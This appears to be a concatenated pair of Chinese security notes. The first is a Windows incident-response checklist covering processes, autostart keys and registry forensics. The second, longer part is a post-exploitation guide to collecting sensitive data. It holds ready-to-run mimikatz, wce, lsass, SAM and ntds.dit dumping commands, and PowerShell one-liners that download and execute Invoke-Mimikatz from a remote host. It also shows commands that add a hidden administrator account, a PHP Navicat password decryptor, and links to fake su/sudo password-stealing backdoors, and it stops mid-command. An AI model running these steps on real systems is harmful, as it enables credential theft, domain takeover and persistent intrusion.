针对进程的快速检查能初步排查系统内是否存在异常的正在运行的持久化程序。 332 | 333 | Windows下可用于进程分析的工具非常多,微软自带的进程管理工具(msinfo、taskmgr、tasklist)足以应付大部分场景,以及SysinternalsSuite套件中的Process Explorer、Procmon,还有专用于安全人员进行主机安全分析的火绒剑。 334 | 335 | 进程检查的关键在于从大量进程中快速发现存在异常行为的进程。简单的思路如下: 336 | 337 | 1. 检查有无对外通信的进程; 338 | 339 | 2. 检查有无文件签名异常的进程; 340 | 341 | 3. 检查有无路径可疑或资源占用极高的进程; 342 | 343 | 4. 检查有无对读写可疑未知文件的进程; 344 | 345 | 5. 检查有无加载异常dll的进程; 346 | 347 | 6. 检查进程是否在一段时间内存在可疑操作。 348 | 349 | 下面各小节基本按照该思路进行展开,给出怎么使用对应工具做简单排查。 350 | 351 | ## 1 常见进程 352 | 353 | svhost.exe:windows服务主进程 354 | 355 | iexplore.exe 网络相关进程 356 | 357 | explorer.exe windows资源管理器 358 | 359 | rundll32.exe 在内存中运行32位的DLL文件 360 | 361 | ctfmon.exe 输入法相关程序 362 | 363 | winlogon.exe 域登录管理器 364 | 365 | csrss.exe是微软客户端/服务端运行时子系统 366 | 367 | lsass.exe windows本地安全认证服务 368 | 369 | services.exe 服务控制器 370 | 371 | smss.exe 会话管理子系统 372 | 373 | wmiprvse.exe wmi处理器 374 | 375 | internat.exe 多语言输入程序 376 | 377 | ## 2 异常进程特点 378 | 379 | **异常进程的定位:** 380 | 381 | ​ 缺少签名信息、描述信息的进程; 382 | 383 | ​ 路径异常、属主异常的进程; 384 | 385 | ​ 高CPU及高内存占用的进程。 386 | 387 | 388 | 389 | ## 3 进程基本信息概览 390 | 391 | taskmgr--(自带) 392 | 393 | msinfo--(自带) 394 | 395 | Process Explorer--(SysinternalsSuite) 396 | 397 | Procmon--(SysinternalsSuite) 398 | 399 | ProHacker 400 | 401 | ## 4 进程与网络 402 | 403 | 火绒剑 404 | 405 | TCPView--(SysinternalsSuite) 406 | 407 | TCPvcon--(SysinternalsSuite) 408 | 409 | ## 5 进程与dll 410 | 411 | procmon--(SysinternalsSuite) 412 | 413 | listdll--(SysinternalsSuite) 414 | 415 | ## 6 进程与文件读写 416 | 417 | handle--(SysinternalsSuite) 418 | 419 | ## 7 自启动项审计 420 | 421 | ```cmd 422 | # windows自带管理工具 423 | msconfig 424 | 425 | # 注册表内添加自启动项 426 | HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run 427 | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 428 | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce 429 | 430 | # 分析系统配置文件 431 | 配置文件或目录内添加自启 432 | C:\windows\win.ini 433 | C:\windows\system.ini 434 | win7 开始 所有应用 启动,观察下面是否有新增的项目。 435 | 436 | ``` 437 | 438 | # 8 账户排查 439 | 440 | 常规的账户添加的方式: 441 | 442 | ```powershell 443 | net user www$ 123456 /add 444 | net localgroup administrators www$ /add 445 | ``` 446 | 447 | 账号检查的几种方法: 448 | 449 | 命令"net user"及管理器"lusrmgr.msc"能列出系统内常规的用户。 450 | 451 | 然而有时候攻击者比较狡猾,[留下来了隐藏账户](https://www.cnblogs.com/threesoil/p/10777719.html),这时可以在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names中可以看到所有用于登录的用户,包括上面提到的隐藏账户。 452 | 453 | 454 | 455 | # 9 注册表取证 456 | 457 | ## 1 注册表基础 458 | 459 | HKEY_USERS:包含所有加载的用户配置文件 460 | 461 | HKEYCURRENT_USER:当前登录用户的配置文件 462 | 463 | HKEY_CLASSES_ROOT:包含所有已注册的文件类型、OLE等信息 464 | 465 | HKEYCURRENT_CONFIG:启动时系统硬件配置文件 466 | 467 | HKEYLOCAL_MACHINE:配置信息,包括硬件和软件设置 468 | 469 | ## 2 check项 470 | 471 | ### 2.1 启动项 472 | 473 | ```powershell 474 | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 475 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 476 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 477 | ``` 478 | 479 | ### 2.2 检查隐藏账户 480 | 481 | ```powershell 482 | HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 483 | ``` 484 | 485 | ### 2.3 软件执行等操作历史记录 486 | 487 | ```powershell 488 | # Recent 489 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs 490 | 491 | # 运行框执行历史 492 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 493 | HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 494 | 495 | # UserAssist 496 | HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count 497 | 498 | # MuiCache 499 | HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache 500 | HKEY_USERS\\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache 501 | 502 | # AppCompatFlag 503 | HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers 504 | HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers 505 | HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Persisted 506 | HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store 507 | 508 | # AppCompatCache 509 | HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache 510 | ``` 511 | 512 | 513 | 514 | ### 2.4 外设挂载记录 515 | 516 | ```powershell 517 | # USB 518 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\PnpResources\Registry\HKLM\SYSTEM\CurrentControlSet\Control\usbstor 519 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Portable Devices\Devices 520 | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SWD\WPDBUSENUM 521 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM 522 | 523 | # 其他硬件设备 524 | HKEY_LOCAL_MACHINE\System\MountedDevices 525 | # https://github.com/adaminfosec/Get-DriveLetter/blob/master/Get-DriveLetter.ps1 526 | ``` 527 | 528 | ### 2.5 几种常见后门位置 529 | 530 | ```powershell 531 | # 关注这些目录下有没有加载恶意脚本或程序** 532 | HKEY_CURRENT_USER\Environment -> UserInitMprLogonScript 533 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon -> Userinit 534 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ 535 | ``` 536 | 537 | -------------------------------------------------------------------------------- /内网安全与后渗透/敏感数据搜集.md: -------------------------------------------------------------------------------- 1 | # Windows 2 | 3 | ## 1 系统凭据 4 | 5 | https://cloud.tencent.com/developer/article/1656546 6 | 7 | 下面这些工具对凭据的分析普遍需要管理员权限。一般来说,对于windows的凭据窃取类攻击流程是这么玩的: 8 | 9 | 拿到一台windows,尽可能的提到高权限,检查是否有域,有的话用使用凭据收集得到的口令、哈希、密钥、票据进行横向移动。定位域控,如果能传递攻击拿到域控权限最好,或者对域控采用漏洞攻击。 10 | 11 | ### 1.1 口令 12 | 13 | #### 1.1.1 mimikatz 14 | 15 | ```shell 16 | .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" 17 | ``` 18 | 19 | ![2021-07-07_164814](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_164814.jpg) 20 | 21 | #### 1.1.2 wce 22 | 23 | ```shell 24 | wce.exe -w 25 | ``` 26 | 27 | ![2021-07-07_164847](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_164847.jpg) 28 | 29 | ![2021-07-07_170818](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_170818.jpg) 30 | 31 | #### 1.1.3 powershell+mimikatz 32 | 33 | ```cmd 34 | powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" 35 | 36 | powershell "IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" 37 | ``` 38 | 39 | 40 | 41 | ![2021-07-07_165336](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_165336.jpg) 42 | 43 | ![2021-07-07_165320](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-07_165320.jpg) 44 | 45 | ### 1.2 哈希 46 | 47 | 可用于PTH及口令破解。获取哈希普遍需要管理员权限。 48 | 49 | | 目标 | 工具 | 方法 | 命令 | 50 | | ----- | ------------------ | ---- | ------------------------------------------------------------ | 51 | | SAM | mimikatz | 在线 | .\mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit" | 52 | | SAM | reg | 离线 | reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM | 53 | | | mimikatz | 在线 | .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" | 54 | | SAM | Pwdump | | | 55 | | lsass | procdump | 离线 | procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords" | 56 | | lsass | mimikatz | 在线 | .\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" | 57 | | lsass | wce | 在线 | .\wce.exe -l | 58 | | lsass | 任务管理器 | 离线 | 在进程栏内找到lsass.exe手工转储进程信息 | 59 | | | Get-PassHashes.PS1 | 在线 | powershell -exec bypass
Import-Module .\Get-PassHashes.PS1
Get-PassHashes | 60 | | | metasploit | 在线 | run hashdump | 61 | | | metasploit | 在线 | hashdump | 62 | | | metasploit | 在线 | post/windows/gather/credentials/domain_hashdump(获取域hash) | 63 | | | quarksPwDump | 在线 | quarksPwDump.exe –dhl -o hash.txt
QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:\ntds.dit | 64 | | | LaZagne | 在线 | lazagne.exe all | 65 | | | pwdump | 在线 | pwdump | 66 | 67 | 如果是导出SAM文件到本地,有多种方式能将哈希读出来: 68 | 69 | **方法一** 70 | 71 | ```cmd 72 | mimikatz "lsadump::sam /sam:SAM /system:SYSTEM" "exit" 73 | ``` 74 | 75 | ![2021-07-09_165916](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_165916.jpg) 76 | 77 | **方法二** 78 | 79 | ```cmd 80 | GetHashes.exe SAM 81 | ``` 82 | 83 | ![2021-07-09_170427](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_170427.jpg) 84 | 85 | **方法三** 86 | 87 | ```shell 88 | samdump2 system sam 89 | ``` 90 | 91 | ![2021-07-09_165727](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_165727.jpg) 92 | 93 | ### 1.3 票据 94 | 95 | ```cmd 96 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" 97 | mimikatz.exe "kerberos::ptt "[0;34c63]-2-0-60a10000-ailx00@krbtgt-HACKBIJI.TOP.kirbi" 98 | ``` 99 | 100 | 101 | 102 | ### 1.4 密钥 103 | 104 | #可用于PTK 105 | 106 | ```cmd 107 | .\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" "exit" 108 | ``` 109 | 110 | ### 1.5 域控上的凭据收集 111 | 112 | #### 1.5.1 域控上的哈希 113 | 114 | ##### 1.5.1.1 mimikatz 115 | 116 | **方法一** 117 | 118 | ```cmd 119 | .\mimikatz.exe "lsadump::dcsync /domain:corp.cowbot.com /all /csv" "exit" 120 | ``` 121 | 122 | ![2021-07-09_171040](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_171040.jpg) 123 | 124 | **方法二** 125 | 126 | ```cmd 127 | .\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" 128 | ``` 129 | 130 | ##### 1.5.1.2 secretsdump 131 | 132 | ```cmd 133 | python secretsdump.py administrator:12345678@192.168.55.8 134 | ``` 135 | 136 | 137 | 138 | ##### 1.5.1.3 Invoke-DCSync 139 | 140 | 获取地址:https://raw.githubusercontent.com/Al1ex/Invoke-DCSync/master/Invoke-DCSync.ps1 141 | 142 | ```powershell 143 | Import-Module .\Invoke-DCSync.ps1 144 | Invoke-DCSync -PWDumpFormat 145 | ``` 146 | 147 | ##### 1.5.1.4 ntds.dit文件获取 148 | 149 | 使用域控上的ntds.dit文件同样能得到哈希。先从域控上获得ntds.dit的副本,之后再获取system.hive(存放着ntds.dit的访问密钥,),之后使用其他工具从ntds.dit中提取哈希。 150 | 151 | **方法一** 152 | 153 | ```cmd 154 | ntdsutil snapshot "activate instance ntds" create quit quit 155 | ntdsutil snapshot "mount {**********}" quit quit 156 | copy C:\$SNAP_****_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit 157 | ntdsutil snapshot "unmount {**********}" quit quit 158 | ntdsutil snapshot "delete {**********}" quit quit 159 | 160 | reg save hklm\system c:\SYSTEM 161 | ``` 162 | 163 | ![2021-07-09_143402](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_143402.jpg) 164 | 165 | ![2021-07-09_143508](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_143508.jpg) 166 | 167 | **方法二** 168 | 169 | ```cmd 170 | vssadmin create shadow /for=c: 171 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit 172 | vssadmin delete shadows /for=c: /quiet 173 | esentutl /p /o c:\ntds.dit 174 | del *.cab 175 | 176 | reg save hklm\system c:\SYSTEM 177 | ``` 178 | 179 | ![2021-07-09_145109](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_145109.jpg) 180 | 181 | **方法三** 182 | 183 | ```cmd 184 | diskshadow /s c:\hello.txt 185 | esentutl /p /o c:\ntds.dit 186 | 187 | reg save hklm\system c:\SYSTEM 188 | ``` 189 | 190 | 文件内容如下: 191 | 192 | ```cmd 193 | set context persistent nowriters 194 | add volume c: alias someAlias 195 | create 196 | expose %someAlias% k: 197 | exec "c:\Windows\System32\cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit 198 | delete shadows all 199 | list shadows all 200 | reset 201 | exit 202 | ``` 203 | 204 | ![2021-07-09_150726](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_150726.jpg) 205 | 206 | **方法四** 207 | 208 | ```cmd 209 | ntdsutil "ac i ntds" "ifm" "create full c:/test" q q 210 | ``` 211 | 212 | ![2021-07-09_150934](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_150934.jpg) 213 | 214 | **方法五** 215 | 216 | ```cmd 217 | #Nishang的脚本 218 | import-module .\Copy-VSS.ps1 219 | Copy-vss 220 | ``` 221 | 222 | 223 | 224 | ##### 1.5.1.5 ntds.dit文件分析 225 | 226 | **方法一** 227 | 228 | 使用impacket中的脚本secretsdump.py 229 | 230 | ```shell 231 | https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_23/impacket-0.9.23.tar.gz 232 | 233 | secretsdump.py -ntds.dit -system system.hive LOCAL 234 | ``` 235 | 236 | ![2021-07-09_155803](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_155803.jpg) 237 | 238 | **方法二** 239 | 240 | ```cmd 241 | NTDSDumpEx.exe -d ntds.dit -s system 242 | ``` 243 | 244 | ![2021-07-09_143554](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_143554.jpg) 245 | 246 | ### 1.6 其他 247 | 248 | #### 1.6.1 哈希在线破解 249 | 250 | ```shell 251 | https://cmd5.com 252 | https://www.objectif-securite.ch/ophcrack 253 | ``` 254 | 255 | #### 1.6.2 pip泄露企业域账户口令 256 | 257 | 企业域内使用pip可能要走代理,而为了通过流量认证,往往需要在pip.ini 设置http代理信息,而代理信息中可能含有域账号及密码。 258 | 259 | C:/User/账户名/pip/pip.ini 260 | 261 | ## 2 浏览器密码 262 | 263 | ### 2.1 LaZagne 264 | 265 | LaZagne:https://github.com/AlessandroZ/LaZagne 266 | 267 | ```cmd 268 | # 以管理员权限运行时可拉取下来哈希 269 | lazagne.exe all 270 | ``` 271 | 272 | ### 2.2 手工查看 273 | 274 | **Firefox** 275 | 276 | ```shell 277 | "打开菜单"=>"我的密码" 278 | ``` 279 | 280 | **Chrome** 281 | 282 | ```shell 283 | #这种方式需要知道管理员密码 284 | "设置"=>"自动填充"=>"密码"=>"已保存的密码" 285 | ``` 286 | 287 | 288 | 289 | ## 3 应用第三方应用 290 | 291 | ### 3.1 查找明文密码 292 | 293 | ```powershell 294 | findstr /i /s "password" *.config 295 | findstr /i /s "password" *.ini 296 | findstr /i /s "password" *.xml 297 | ``` 298 | 299 | ### 3.2 星号查看器 300 | 301 | 可以使用星号查看器查看部分系统上的认证框中的密码信息。 302 | 303 | ### 3.3 Git 304 | 305 | #### 3.3.1 git账号密码 306 | 307 | 可以在有管理员权限的情况下通过lazagne导出git的明文密码。 308 | 309 | #### 3.3.2 git的免密登录私钥 310 | 311 | 使用该私钥可以篡改用户本人的任意云上仓库 312 | 313 | C:\Users\\<用户名>\\.ssh\id_rsa 314 | 315 | #### 3.3.3 git的历史记录 316 | 317 | C:\Users\\<用户名>\\.bash_history 318 | 319 | ### 3.3 Navicat 320 | 321 | #### 获取数据库密码 322 | 323 | 注册表中找到相关数据库连接中的pwd键值: 324 | 325 | ```text 326 | 计算机\HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\*\pwd 327 | ``` 328 | 329 | 330 | 331 | 网上有[师傅写了对应的解密脚本](https://github.com/tianhe1986/FatSmallTools)。代码如下。 332 | 333 | ```php 334 | version = $version; 350 | $this->blowKey = sha1('3DC5CA39', true); 351 | $this->blowIv = hex2bin('d9c7c3c8870d64bd'); 352 | } 353 | 354 | public function encrypt($string) 355 | { 356 | $result = FALSE; 357 | switch ($this->version) { 358 | case 11: 359 | $result = $this->encryptEleven($string); 360 | break; 361 | case 12: 362 | $result = $this->encryptTwelve($string); 363 | break; 364 | default: 365 | break; 366 | } 367 | 368 | return $result; 369 | } 370 | 371 | protected function encryptEleven($string) 372 | { 373 | $round = intval(floor(strlen($string) / 8)); 374 | $leftLength = strlen($string) % 8; 375 | $result = ''; 376 | $currentVector = $this->blowIv; 377 | 378 | for ($i = 0; $i < $round; $i++) { 379 | $temp = $this->encryptBlock($this->xorBytes(substr($string, 8 * $i, 8), $currentVector)); 380 | $currentVector = $this->xorBytes($currentVector, $temp); 381 | $result .= $temp; 382 | } 383 | 384 | if ($leftLength) { 385 | $currentVector = $this->encryptBlock($currentVector); 386 | $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector); 387 | } 388 | 389 | return strtoupper(bin2hex($result)); 390 | } 391 | 392 | protected function encryptBlock($block) 393 | { 394 | return openssl_encrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); 395 | } 396 | 397 | protected function decryptBlock($block) 398 | { 399 | return openssl_decrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); 400 | } 401 | 402 | protected function xorBytes($str1, $str2) 403 | { 404 | $result = ''; 405 | for ($i = 0; $i < strlen($str1); $i++) { 406 | $result .= chr(ord($str1[$i]) ^ ord($str2[$i])); 407 | } 408 | 409 | return $result; 410 | } 411 | 412 | protected function encryptTwelve($string) 413 | { 414 | $result = openssl_encrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv); 415 | return strtoupper(bin2hex($result)); 416 | } 417 | 418 | public function decrypt($string) 419 | { 420 | $result = FALSE; 421 | switch ($this->version) { 422 | case 11: 423 | $result = $this->decryptEleven($string); 424 | break; 425 | case 12: 426 | $result = $this->decryptTwelve($string); 427 | break; 428 | default: 429 | break; 430 | } 431 | 432 | return $result; 433 | } 434 | 435 | protected function decryptEleven($upperString) 436 | { 437 | $string = hex2bin(strtolower($upperString)); 438 | 439 | $round = intval(floor(strlen($string) / 8)); 440 | $leftLength = strlen($string) % 8; 441 | $result = ''; 442 | $currentVector = $this->blowIv; 443 | 444 | for ($i = 0; $i < $round; $i++) { 445 | $encryptedBlock = substr($string, 8 * $i, 8); 446 | $temp = $this->xorBytes($this->decryptBlock($encryptedBlock), $currentVector); 447 | $currentVector = $this->xorBytes($currentVector, $encryptedBlock); 448 | $result .= $temp; 449 | } 450 | 451 | if ($leftLength) { 452 | $currentVector = $this->encryptBlock($currentVector); 453 | $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector); 454 | } 455 | 456 | return $result; 457 | } 458 | 459 | protected function decryptTwelve($upperString) 460 | { 461 | $string = hex2bin(strtolower($upperString)); 462 | return openssl_decrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv); 463 | } 464 | } 465 | 466 | 467 | use FatSmallTools\NavicatPassword; 468 | 469 | //需要指定版本,11或12 470 | //$navicatPassword = new NavicatPassword(12); 471 | $navicatPassword = new NavicatPassword(11); 472 | 473 | //解密 474 | //$decode = $navicatPassword->decrypt('15057D7BA390'); 475 | $decode = $navicatPassword->decrypt('73EFB530B74DCCE359F34539742ECD9E8D1FE826F5C263CE'); 476 | echo $decode."\n"; 477 | ``` 478 | 479 | 480 | 481 | ### 3.4 MobaXterm 482 | 483 | #### 3.4.1 独立版 484 | 485 | ```shell 486 | pip3 install pycryptodome # 改python3 lib库中的crypto为Crypto 487 | git clone https://github.com/HyperSine/how-does-MobaXterm-encrypt-password.git 488 | cd how-does-MobaXterm-encrypt-password/python3/ 489 | # 打开安装目录中的相关配置文件MobaXterm.ini,定位到形如以下的配置项,即可开始密码破解 490 | # “ssh22:ubuntu@192.168.44.131=kng1Y0YhWerxkdR54zMFh7WKY2wg6IEbTU2” 491 | python3 MobaXtermCipher.py dec -sp 1 kng1Y0YhWerxkdR54zMFh7WKY2wg6IEbTU2 492 | 493 | ``` 494 | 495 | ![2021-07-09_171629](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_171629.jpg) 496 | 497 | #### 3.4.2 安装版 498 | 499 | 读注册表,导出相关凭据 500 | 501 | ```shell 502 | # 无管理密码的解密,直接读注册表,从注册表读连接信息和账户 503 | hash reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P 504 | ``` 505 | 506 | 凭据解密,需要用到下面这个工具 507 | 508 | ```shell 509 | https://github.com/HyperSine/how-does-MobaXterm-encrypt-password 510 | ``` 511 | 512 | 解密命令如下 513 | 514 | ```shell 515 | python3 MobaXtermCipher.py dec -sysh desktop-ibe7jr7 -sysu yang -h 192.168.3.130 -u root lJWaoLu57REbPnQW62E0fUpfVA38r/hKFtVH4 516 | ``` 517 | 518 | ![2021-07-09_171719](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_171719.jpg) 519 | 520 | ### 3.5 VMware 521 | 522 | ```shell 523 | #一些传送的文件 524 | C:\Users\%username%\AppData\Local\Temp\vmware-%username%\VMwareDnD 525 | #每台vmware的log日志都含有启动操作信息。 526 | C:\Users\%username%\AppData\Local\Temp\vmware-%username%\ 527 | #vmware内主机的备注信息 528 | ``` 529 | 530 | 531 | 532 | ## 4 wifi口令 533 | 534 | ### 4.1 手工 535 | 536 | ```powershell 537 | #执行下面命令,密码导出在生成的xml文件中 538 | netsh WLAN export profile key=clear folder=. 539 | ``` 540 | 541 | 542 | 543 | ### 4.2 LaZagne 544 | 545 | LaZagne:https://github.com/AlessandroZ/LaZagne 546 | 547 | ```cmd 548 | # 以管理员权限运行时可拉取下来wifi明文口令。 549 | lazagne.exe all 550 | ``` 551 | 552 | 553 | 554 | ## 5 历史记录 555 | 556 | ### 5.1 Git-Bash历史记录: 557 | 558 | ```cmd 559 | C:\Users\%username%\.bash_history 560 | C:\Users\%username%\.gitconfig 561 | ``` 562 | 563 | 564 | 565 | ### 5.2 运行框历史记录 566 | 567 | ```shell 568 | reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 569 | reg query HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 570 | ``` 571 | 572 | 573 | 574 | ### 5.3 powershell历史记录 575 | 576 | ```shell 577 | Get-Content (Get-PSReadLineOption).HistorySavePath 578 | ``` 579 | 580 | 581 | 582 | ### 5.4 DNS缓存记录 583 | 584 | ```cmd 585 | ipconfig /displaydns 586 | ``` 587 | 588 | 589 | 590 | ### 5.5 其他 591 | 592 | #### 5.5.1 RDP连接记录 593 | 594 | ```cmd 595 | reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" 596 | reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\172.19.2.198" 597 | ``` 598 | 599 | 600 | 601 | #### 5.5.2 Web浏览记录及标签 602 | 603 | 详见浏览器中各历史记录及标签项。 604 | 605 | 606 | 607 | #### 5.5.3 最近文件记录 608 | 609 | Windows下用以查看最近操作文件的方式有很多种,是取证中常用的技术。这里举最常见的一种通过Recent记录来查看最近操作文件的手段。以下4种方式均能获得Recent记录。 610 | 611 | ```shell 612 | (1)C:\Documents and Settings\%username%\Recent 613 | (2)或winkey+r && recent 614 | (3)%UserProfile%\Recent 615 | (4)%APPDATA%\Microsoft\Windows\Recent 616 | 617 | ``` 618 | 619 | 620 | 621 | ## 6 敏感资料发现 622 | 623 | ### 6.1 敏感路径 624 | 625 | ```shell 626 | # 桌面 627 | C:\Users\%username%\Desktop 628 | # 下载目录 629 | C:\Users\%username%\Downloads 630 | # 微信下载目录 631 | C:\Users\%username%\Documents\WeChat Files\微信号\FileStorage\File\归档日期 632 | # 硬盘数据盘 633 | D:/E:/F: 634 | # 共享的文件 635 | net share 636 | wmic share get name,path,status 637 | ``` 638 | 639 | ### 6.2 回收站分析 640 | 641 | ```cmd 642 | # cmd.exe 643 | # 获得所有被删文件 644 | FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ >%c.txt 645 | # 恢复出真实的被删文件的名称 646 | PowerShell -Command "$Recycler =(New-Object -ComObject Shell.Application).NameSpace(0xa);foreach($file in $Recycler.items()){echo "---------------------";$file.path;$file.ExtendedProperty(\"{9B174B33-40FF-11D2-A27E-00C04FC30871} 2\")+'\'+$file.name}" 647 | ``` 648 | 649 | ![2021-07-09_173955](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-09_173955.jpg) 650 | 651 | ### 6.3 Notepad++ 652 | 653 | notepad有一目录会存储异常关闭时的临时文件,这些文件涉及到使用者的日常操作,可能含有一些敏感数据。 654 | 655 | ```shell 656 | C:\Users\<用户名>\AppData\Roaming\Notepad++\backup 657 | ``` 658 | 659 | # Linux 660 | 661 | Linux的特点(功能较单一、命令接口丰富)注定了在它上面做敏感数据的搜索与发现相比较而言更为容易。 662 | 663 | ## 1 历史记录 664 | 665 | ```shell 666 | # /root/ 及 /home/*/ 667 | .bash_history 668 | .zsh_history 669 | .mysql_history 670 | .redis_history 671 | ``` 672 | 673 | 历史记录中重点关注: 674 | 675 | 1.有没有直接给出账户名及密码的命令。 676 | 677 | 2.有没有远程其他设备的操作。(如果有我们可以试着远程,看看有没有配上免密登录) 678 | 679 | 3.有没有比较敏感的涉及数据备份之类的操作。 680 | 681 | ## 2 各类凭据 682 | 683 | ```shell 684 | # 密码搜集 685 | grep -rn "passw" -a / | grep -v "php\|jsp\|\.js\|\|.java" 686 | grep -rn "passw" -a / | grep -v "ini\|conf" 687 | find / -name *.properties -o -name *.xml -o -name *.conf -o -name *.json -exec grep -Hn "passw" {} \; 688 | ``` 689 | 690 | 691 | 692 | ## 3 口令窃取 693 | 694 | 实际场景下应用较少,口令窃取需要有正常运维账户进行交互,这一过程中稍有不注意,极易被发现。 695 | 696 | 697 | 698 | ### 3.1 fakesu、fakesudo、fakepasswd 699 | 700 | 写了三套fake工具,利用PATH优先级劫持正常运维输入命令时的执行流程 701 | 702 | https://github.com/aplyc1a/toolkits/tree/master/0x04 持久化/Linux/口令窃取后门/fake_su 703 | 704 | https://github.com/aplyc1a/toolkits/tree/master/0x04 持久化/Linux/口令窃取后门/fake_sudo 705 | 706 | https://github.com/aplyc1a/toolkits/tree/master/0x04 持久化/Linux/口令窃取后门/fake_passwd 707 | 708 | ### 3.2 键盘记录器 709 | 710 | 大部分键盘记录器只对带有GUI界面的Linux有效并且要求输入文本要在图形化页面里。实际中,对Linux部键盘记录器很少见。 711 | 712 | ### 3.3 strace后门 713 | 714 | 使用strace可以偷取SSH密码。具体可分两种情况: 715 | 716 | 一种时监听系统内sshd服务收到的所有流量,从中可以提取到密码信息。 717 | 718 | 另一种是通过alias后门、hash后门、PATH优先级等方式结合strace劫持系统内的ssh命令,从中可以提取到密码信息。为了实现持久化,会将劫持命令持久化到/etc/profile、/etc/bashrc等文件中。 719 | 720 | #### 3.3.1 strace-sshd 721 | 722 | 这是上面提到的第一种后门。常见的命令如下。 723 | 724 | ```shell 725 | (strace -f 